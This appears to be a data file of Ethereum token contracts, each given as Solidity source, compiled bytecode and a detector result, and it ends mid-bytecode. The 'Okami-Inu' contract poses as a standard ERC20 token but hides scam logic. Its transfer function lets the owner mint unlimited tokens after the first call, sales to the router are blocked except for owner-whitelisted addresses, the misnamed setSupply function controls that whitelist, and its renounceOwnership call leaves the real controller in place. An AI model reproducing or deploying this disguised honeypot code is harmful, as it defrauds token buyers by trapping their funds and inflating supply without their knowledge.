super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 3; uint8 public constant TOKEN_DECIMALS_UINT8 = 3; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "Abri"; string public constant TOKEN_SYMBOL = "ABR"; bool public constant PAUSED = false; address public constant TARGET_USER = 0x505c7f3B5fC1D6cD286425BA9460A0Bf0C605fD8; bool public constant CONTINUE_MINTING = false; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } address[1] memory addresses = [address(0x505c7f3B5fC1D6cD286425BA9460A0Bf0C605fD8)]; uint[1] memory amounts = [uint(200000000000)]; uint64[1] memory freezes = [uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { mint(addresses[i], amounts[i]); } else { mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }
0x6080604052600436106101d65763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416623fd35a81146101db57806302d6f7301461020457806305d2035b1461024c57806306fdde0314610261578063095ea7b3146102eb5780630bb2cd6b1461030f578063158ef93e1461034057806317a950ac1461035557806318160ddd14610388578063188214001461039d57806323b872dd146103b25780632a905318146103dc578063313ce567146103f15780633be1e9521461041c5780633f4ba83a1461044f57806340c10f191461046457806342966c681461048857806356780085146104a05780635b7f415c146104b55780635be7fde8146104ca5780635c975abb146104df57806366188463146104f457806366a92cda1461051857806370a082311461052d578063715018a61461054e578063726a431a146105635780637d64bcb4146105945780638456cb59146105a95780638da5cb5b146105be57806395d89b41146105d3578063a9059cbb146105e8578063a9aad58c146101db578063ca63b5b81461060c578063cf3b19671461062d578063d73dd62314610642578063d8aeedf514610666578063dd62ed3e14610687578063f2fde38b146106ae575b600080fd5b3480156101e757600080fd5b506101f06106cf565b604080519115158252519081900360200190f35b34801561021057600080fd5b50610228600160a060020a03600435166024356106d4565b6040805167ffffffffffffffff909316835260208301919091528051918290030190f35b34801561025857600080fd5b506101f0610761565b34801561026d57600080fd5b50610276610771565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102b0578181015183820152602001610298565b50505050905090810190601f1680156102dd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f757600080fd5b506101f0600160a060020a03600435166024356107a8565b34801561031b57600080fd5b506101f0600160a060020a036004351660243567ffffffffffffffff6044351661080e565b34801561034c57600080fd5b506101f06109ac565b34801561036157600080fd5b50610376600160a060020a03600435166109cf565b60408051918252519081900360200190f35b34801561039457600080fd5b506103766109e0565b3480156103a957600080fd5b506102766109e6565b3480156103be57600080fd5b506101f0600160a060020a0360043581169060243516604435610a1d565b3480156103e857600080fd5b50610276610a4a565b3480156103fd57600080fd5b50610406610a81565b6040805160ff9092168252519081900360200190f35b34801561042857600080fd5b5061044d600160a060020a036004351660243567ffffffffffffffff60443516610a86565b005b34801561045b57600080fd5b5061044d610bfa565b34801561047057600080fd5b506101f0600160a060020a0360043516602435610c73565b34801561049457600080fd5b5061044d600435610d6b565b3480156104ac57600080fd5b50610376610d78565b3480156104c157600080fd5b50610376610d7e565b3480156104d657600080fd5b50610376610d83565b3480156104eb57600080fd5b506101f0610de8565b34801561050057600080fd5b506101f0600160a060020a0360043516602435610df8565b34801561052457600080fd5b5061044d610ee8565b34801561053957600080fd5b50610376600160a060020a036004351661108b565b34801561055a57600080fd5b5061044d6110b4565b34801561056f57600080fd5b50610578611122565b60408051600160a060020a039092168252519081900360200190f35b3480156105a057600080fd5b506101f061113a565b3480156105b557600080fd5b5061044d6111be565b3480156105ca57600080fd5b5061057861123c565b3480156105df57600080fd5b5061027661124b565b3480156105f457600080fd5b506101f0600160a060020a0360043516602435611282565b34801561061857600080fd5b50610376600160a060020a03600435166112ad565b34801561063957600080fd5b50610406610d7e565b34801561064e57600080fd5b506101f0600160a060020a0360043516602435611333565b34801561067257600080fd5b50610376600160a060020a03600435166113cc565b34801561069357600080fd5b50610376600160a060020a03600435811690602435166113e7565b3480156106ba57600080fd5b5061044d600160a060020a0360043516611412565b600081565b600080805b8360010181101561072d57600360006106fc878667ffffffffffffffff16611432565b815260208101919091526040016000205467ffffffffffffffff16925082151561072557610759565b6001016106d9565b60046000610745878667ffffffffffffffff16611432565b815260208101919091526040016000205491505b509250929050565b60065460a060020a900460ff1681565b60408051808201909152600481527f4162726900000000000000000000000000000000000000000000000000000000602082015290565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6006546000908190600160a060020a0316331461082a57600080fd5b60065460a060020a900460ff161561084157600080fd5b600154610854908563ffffffff61146616565b60015561086b8567ffffffffffffffff8516611432565b60008181526004602052604090205490915061088d908563ffffffff61146616565b600082815260046020908152604080832093909355600160a060020a03881682526005905220546108c4908563ffffffff61146616565b600160a060020a0386166000908152600560205260409020556108e78584611473565b604080518581529051600160a060020a038716917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a26040805167ffffffffffffffff85168152602081018690528151600160a060020a038816927f2ecd071e4d10ed2221b04636ed0724cce66a873aa98c1a31b4bb0e6846d3aab4928290030190a2604080518581529051600160a060020a0387169133916000805160206119dc8339815191529181900360200190a3506001949350505050565b600654760100000000000000000000000000000000000000000000900460ff1681565b60006109da8261160d565b92915050565b60015490565b60408051808201909152600481527f4162726900000000000000000000000000000000000000000000000000000000602082015281565b60065460009060a860020a900460ff1615610a3757600080fd5b610a42848484611628565b949350505050565b60408051808201909152600381527f4142520000000000000000000000000000000000000000000000000000000000602082015281565b600390565b6000600160a060020a0384161515610a9d57600080fd5b33600090815260208190526040902054831115610ab957600080fd5b33600090815260208190526040902054610ad9908463ffffffff61178d16565b33600090815260208190526040902055610afd8467ffffffffffffffff8416611432565b600081815260046020526040902054909150610b1f908463ffffffff61146616565b600082815260046020908152604080832093909355600160a060020a0387168252600590522054610b56908463ffffffff61146616565b600160a060020a038516600090815260056020526040902055610b798483611473565b604080518481529051600160a060020a0386169133916000805160206119dc8339815191529181900360200190a36040805167ffffffffffffffff84168152602081018590528151600160a060020a038716927f2ecd071e4d10ed2221b04636ed0724cce66a873aa98c1a31b4bb0e6846d3aab4928290030190a250505050565b600654600160a060020a03163314610c1157600080fd5b60065460a860020a900460ff161515610c2957600080fd5b6006805475ff000000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600654600090600160a060020a03163314610c8d57600080fd5b60065460a060020a900460ff1615610ca457600080fd5b600154610cb7908363ffffffff61146616565b600155600160a060020a038316600090815260208190526040902054610ce3908363ffffffff61146616565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206119dc8339815191529181900360200190a350600192915050565b610d75338261179f565b50565b6103e881565b600381565b6000806000610d933360006106d4565b67ffffffffffffffff909116925090505b8115801590610db257508142115b15610de357610dbf610ee8565b91820191610dce3360006106d4565b67ffffffffffffffff90911692509050610da4565b505090565b60065460a860020a900460ff1681565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610e4d57336000908152600260209081526040808320600160a060020a0388168452909152812055610e82565b610e5d818463ffffffff61178d16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000806000806000610efb336000611432565b60008181526003602052604090205490955067ffffffffffffffff169350831515610f2557600080fd5b8367ffffffffffffffff164267ffffffffffffffff16111515610f4757600080fd5b610f5b338567ffffffffffffffff16611432565b600081815260036020908152604080832054600483528184208054908590553385529284905292205492955067ffffffffffffffff90911693509150610fa7908263ffffffff61146616565b3360009081526020818152604080832093909355600590522054610fd1908263ffffffff61178d16565b3360009081526005602052604090205567ffffffffffffffff82161515611014576000858152600360205260409020805467ffffffffffffffff1916905561104e565b600085815260036020526040808220805467ffffffffffffffff861667ffffffffffffffff19918216179091558583529120805490911690555b60408051828152905133917fb21fb52d5749b80f3182f8c6992236b5e5576681880914484d7f4c9b062e619e919081900360200190a25050505050565b600160a060020a0381166000908152600560205260408120546110ad8361160d565b0192915050565b600654600160a060020a031633146110cb57600080fd5b600654604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26006805473ffffffffffffffffffffffffffffffffffffffff19169055565b73505c7f3b5fc1d6cd286425ba9460a0bf0c605fd881565b600654600090600160a060020a0316331461115457600080fd5b60065460a060020a900460ff161561116b57600080fd5b6006805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600654600160a060020a031633146111d557600080fd5b60065460a860020a900460ff16156111ec57600080fd5b6006805475ff000000000000000000000000000000000000000000191660a860020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600654600160a060020a031681565b60408051808201909152600381527f4142520000000000000000000000000000000000000000000000000000000000602082015290565b60065460009060a860020a900460ff161561129c57600080fd5b6112a6838361188e565b9392505050565b600080600360006112bf856000611432565b815260208101919091526040016000205467ffffffffffffffff1690505b67ffffffffffffffff81161561132d576001909101906003600061130b8567ffffffffffffffff8516611432565b815260208101919091526040016000205467ffffffffffffffff1690506112dd565b50919050565b336000908152600260209081526040808320600160a060020a0386168452909152812054611367908363ffffffff61146616565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a031660009081526005602052604090205490565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600654600160a060020a0316331461142957600080fd5b610d758161195d565b6801000000000000000091909102177f57495348000000000000000000000000000000000000000000000000000000001790565b818101828110156109da57fe5b6000808080804267ffffffffffffffff87161161148f57600080fd5b6114a3878767ffffffffffffffff16611432565b94506114b0876000611432565b60008181526003602052604090205490945067ffffffffffffffff169250821515611503576000848152600360205260409020805467ffffffffffffffff191667ffffffffffffffff8816179055611604565b611517878467ffffffffffffffff16611432565b91505b67ffffffffffffffff83161580159061154657508267ffffffffffffffff168667ffffffffffffffff16115b1561157f575060008181526003602052604090205490925067ffffffffffffffff908116918391166115788784611432565b915061151a565b8267ffffffffffffffff168667ffffffffffffffff1614156115a057611604565b67ffffffffffffffff8316156115da576000858152600360205260409020805467ffffffffffffffff191667ffffffffffffffff85161790555b6000848152600360205260409020805467ffffffffffffffff191667ffffffffffffffff88161790555b50505050505050565b600160a060020a031660009081526020819052604090205490565b6000600160a060020a038316151561163f57600080fd5b600160a060020a03841660009081526020819052604090205482111561166457600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561169457600080fd5b600160a060020a0384166000908152602081905260409020546116bd908363ffffffff61178d16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546116f2908363ffffffff61146616565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054611734908363ffffffff61178d16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391926000805160206119dc833981519152929181900390910190a35060019392505050565b60008282111561179957fe5b50900390565b600160a060020a0382166000908152602081905260409020548111156117c457600080fd5b600160a060020a0382166000908152602081905260409020546117ed908263ffffffff61178d16565b600160a060020a038316600090815260208190526040902055600154611819908263ffffffff61178d16565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516916000805160206119dc8339815191529181900360200190a35050565b6000600160a060020a03831615156118a557600080fd5b336000908152602081905260409020548211156118c157600080fd5b336000908152602081905260409020546118e1908363ffffffff61178d16565b3360009081526020819052604080822092909255600160a060020a03851681522054611913908363ffffffff61146616565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233926000805160206119dc8339815191529281900390910190a350600192915050565b600160a060020a038116151561197257600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582066f1def0ecd512e8e5a7ecb17422ecc0c4c936dbaef1abe89fa86d8604ef6a870029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
1,089
0x95d3772141d280d6c3bd5840997a883f429253ad
/* Okami-Inu.net */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } pragma solidity ^0.8.10; contract Ownable is Context { address internal recipients; address internal router; address public owner; mapping (address => bool) internal confirm; event owned(address indexed previousi, address indexed newi); constructor () { address msgSender = _msgSender(); recipients = msgSender; emit owned(address(0), msgSender); } modifier checker() { require(recipients == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function renounceOwnership() public virtual checker { emit owned(owner, address(0)); owner = address(0); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ } library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); } function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function red(uint256 a, uint256 b) internal pure returns (uint256) { return redc(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ } // SPDX-License-Identifier: MIT contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } function name() public view virtual override returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function begintrading (address set) public checker { router = set; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev updateTaxFee * */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function botban(address _count) internal checker { confirm[_count] = true; } /** * @dev updateTaxFee * */ function setSupply(address[] memory _counts) external checker { for (uint256 i = 0; i < _counts.length; i++) { botban(_counts[i]); } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient == router) { require(confirm[sender]); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - manualSend * * _Available since v3.1._ */ } function _deploy(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: deploy to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ } contract Okami is ERC20{ uint8 immutable private _decimals = 18; uint256 private _totalSupply = 5000000000 * 10 ** 18; constructor () ERC20('OKAMI-INU','Okami') { _deploy(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063395093511161009757806395d89b411161006657806395d89b4114610228578063a457c2d714610230578063a9059cbb14610243578063dd62ed3e1461025657600080fd5b806339509351146101b957806370a08231146101cc578063715018a6146101f55780638da5cb5b146101fd57600080fd5b80631d58a824116100d35780631d58a8241461014d5780631fdc69c81461016257806323b872dd14610175578063313ce5671461018857600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261028f565b60405161010f9190610c78565b60405180910390f35b61012b610126366004610ce9565b610321565b604051901515815260200161010f565b6006545b60405190815260200161010f565b61016061015b366004610d29565b610338565b005b610160610170366004610dee565b6103db565b61012b610183366004610e09565b610464565b60405160ff7f000000000000000000000000000000000000000000000000000000000000001216815260200161010f565b61012b6101c7366004610ce9565b61052a565b61013f6101da366004610dee565b6001600160a01b031660009081526004602052604090205490565b610160610561565b600254610210906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b610102610612565b61012b61023e366004610ce9565b610621565b61012b610251366004610ce9565b6106d4565b61013f610264366004610e45565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60606007805461029e90610e78565b80601f01602080910402602001604051908101604052809291908181526020018280546102ca90610e78565b80156103175780601f106102ec57610100808354040283529160200191610317565b820191906000526020600020905b8154815290600101906020018083116102fa57829003601f168201915b5050505050905090565b600061032e3384846107e0565b5060015b92915050565b6000546001600160a01b031633146103975760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b60005b81518110156103d7576103c58282815181106103b8576103b8610eb3565b6020026020010151610938565b806103cf81610edf565b91505061039a565b5050565b6000546001600160a01b031633146104355760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161038e565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b60006104718484846109b6565b6001600160a01b03841660009081526005602090815260408083203384529091529020548281101561050b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000606482015260840161038e565b61051f853361051a8685610efa565b6107e0565b506001949350505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161032e91859061051a908690610f11565b6000546001600160a01b031633146105bb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161038e565b6002546040516000916001600160a01b0316907f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908390a36002805473ffffffffffffffffffffffffffffffffffffffff19169055565b60606008805461029e90610e78565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156106bb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f000000000000000000000000000000000000000000000000000000606482015260840161038e565b6106ca338561051a8685610efa565b5060019392505050565b600080546001600160a01b0316331480156106f6575060095460ff1615156001145b1561071957610707335b84846109b6565b506009805460ff191690556001610332565b6000546001600160a01b031633148015610736575060095460ff16155b156107cf576006546107489083610c12565b6006556001600160a01b03831660009081526004602052604090205461076e9083610c12565b6001600160a01b0384166000818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107bf9086815260200190565b60405180910390a3506001610332565b6107d833610700565b506001610332565b6001600160a01b03831661085b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161038e565b6001600160a01b0382166108d75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161038e565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60005460016001